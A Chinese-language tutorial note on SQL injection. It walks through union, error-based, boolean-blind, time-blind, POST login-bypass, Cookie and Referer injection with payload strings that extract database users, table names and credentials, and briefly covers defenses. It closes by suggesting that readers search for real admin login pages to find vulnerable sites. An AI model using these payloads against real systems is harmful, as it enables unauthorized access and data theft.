SQL注入类型
一,判断注入点
- 当参数可控时,看参数是否对数据产生影响,若有影响则可能是注入点。
- 输入SQL看是否可以产生报错,通过报错信息得到数据库部分语句。
- 利用引号、双引号、圆括号进行报对。
二,注入方式
- get注入
在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
?id=1‘order by 3 #判断有几列利用排序报错,超出列数报错。
?id=1' union select 111,222,333 #显示回显点。
?id=1' union select 111,user(),database()#在回显点写上列名
?id=1' union select 111,name,pw from user
##因为在查询后返回第一行会显示在网页上,所以将id改为一个不存在的参数,目的是为了让我们查询到的信息显示出来,利用limit函数,依次显示后面信息
- post注入
通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
#闭合方式
id=1 union
id='1' union
id="1" union
id=((1)) union
id=('1') union
……
一般在登录地方是直接把你所输入的信息直接到数据库中搜索语法基本为:
sql="SELECT* FROM users WHERE name = '+ userName +' and pw='+password+' “;
#当我们将用户名填入 : ’ or 1 #
#SQl语句就会变成:
SELECT* FROM users WHERE name ='' or 1 # ' and pw='+password+' “
#那么总会查出信息登录成功
- 报错注入
利用extractvalue()函数,利用函数查询xml中信息,将SQL语句执行出来,缺点是只能显示32位。
用法:extractvalue(目标xml文档,xml路径)
路径是可以修改的,我们将路径修改为非法格式,对非法格式进行报错。
select 1,(extractvalue(1,concat(0x7e,(select user()),0x7e)));
##利用截取函数substr()截取所需要信息
利用updatexml()函数,原理与上一个相同,只是updatexml()有三个参数 updatexml(目标xml文档,xml路径,更新的内容) 同样对路径惊喜非法写入,进行报错。
select 1,(updatexml(1,concat(0x7e,(select user()),0x7e),1));
group by报错
利用统计,对多次排序的列进行报错
select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),database())
#多次点击页面,当产生不同的列时,将会报错
- 布尔盲注
当参数错误时无数据或报错,但不会报出系统错误信息,这时可以选择布尔盲注,通过查询不同的值进行对比,当对比成功返回正确的页面,否则返回参数错误的页面。
?id=1' and 1
?id=1' and 0 #先判断页面是否发生变化
?id=1' and (select substr(user(),1,1)='b') #判断用户名第一个字节是否为b,使用工具对其余26个字母判断,可先使用length()函数判断有几个字节
- 时间盲注
时间盲注判断场景与布尔盲注大致相同,时间盲注用于无论输入什么值,页面都无变化的场景。
?id=1'and
if((select ascii(substr(table_name,1,1))
from information_schema.tables
where table_schema=database() limit 0,1)>101,sleep(2),0)
#判断表名第一个字符是否大于101,若大于这沉睡2秒,就是2秒后返回页面
#也可以将sleep语句放在外面
?id=1 and sleep(if(select substr(table_name,1,1) from information_schema.tables
where table_schema=database() limit 0,1)='m',2,0))
#如果满足则沉睡2秒
6.Cookie注入
有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
7. Referer注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。
例如某网站SQL语句如下:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
这里的referer参与了SQL查询
我们修改referer的值,使用抓包工具,通过报错注入,得到所需要的值。例如:
Referer: http://1.1.1.1/sqli-labs/Less-19/' and extractvalue(1,concat(0x7e,user())) and '
通过报错注入得到所需要的信息。
三,sql注入点判断感悟
只要和数据库产生交互的地方就有可能是注入点,有些网站可能是伪静态页面,通过不断点击页面中的URL通过经验感觉是否是注入点。
在检测网站时,最难的就是寻找注入点和闭合方法,现阶段的框架都比较完善,SQL注入危害极大,所以防范性较大,但不排除部分老旧系统和防范意识不高的前端工程师写的网页,因为SQL注入漏洞不属于bug。只要在服务器上判断用户输入的值是否符合要求,对输入的字符有所限制,就可防范SQL注入,或者使用预编译,将用户所输入的一切都当做一个属性,之间在数据库中查询,不再和SQL语句产生闭合。
’ or 1 # 是一个万能钥匙,目前安全防护意识有所提高,但不能保证全部网页有安全验证,在网络资源搜索器中搜索标题为“后台登陆”会发现很多不认真的程序员。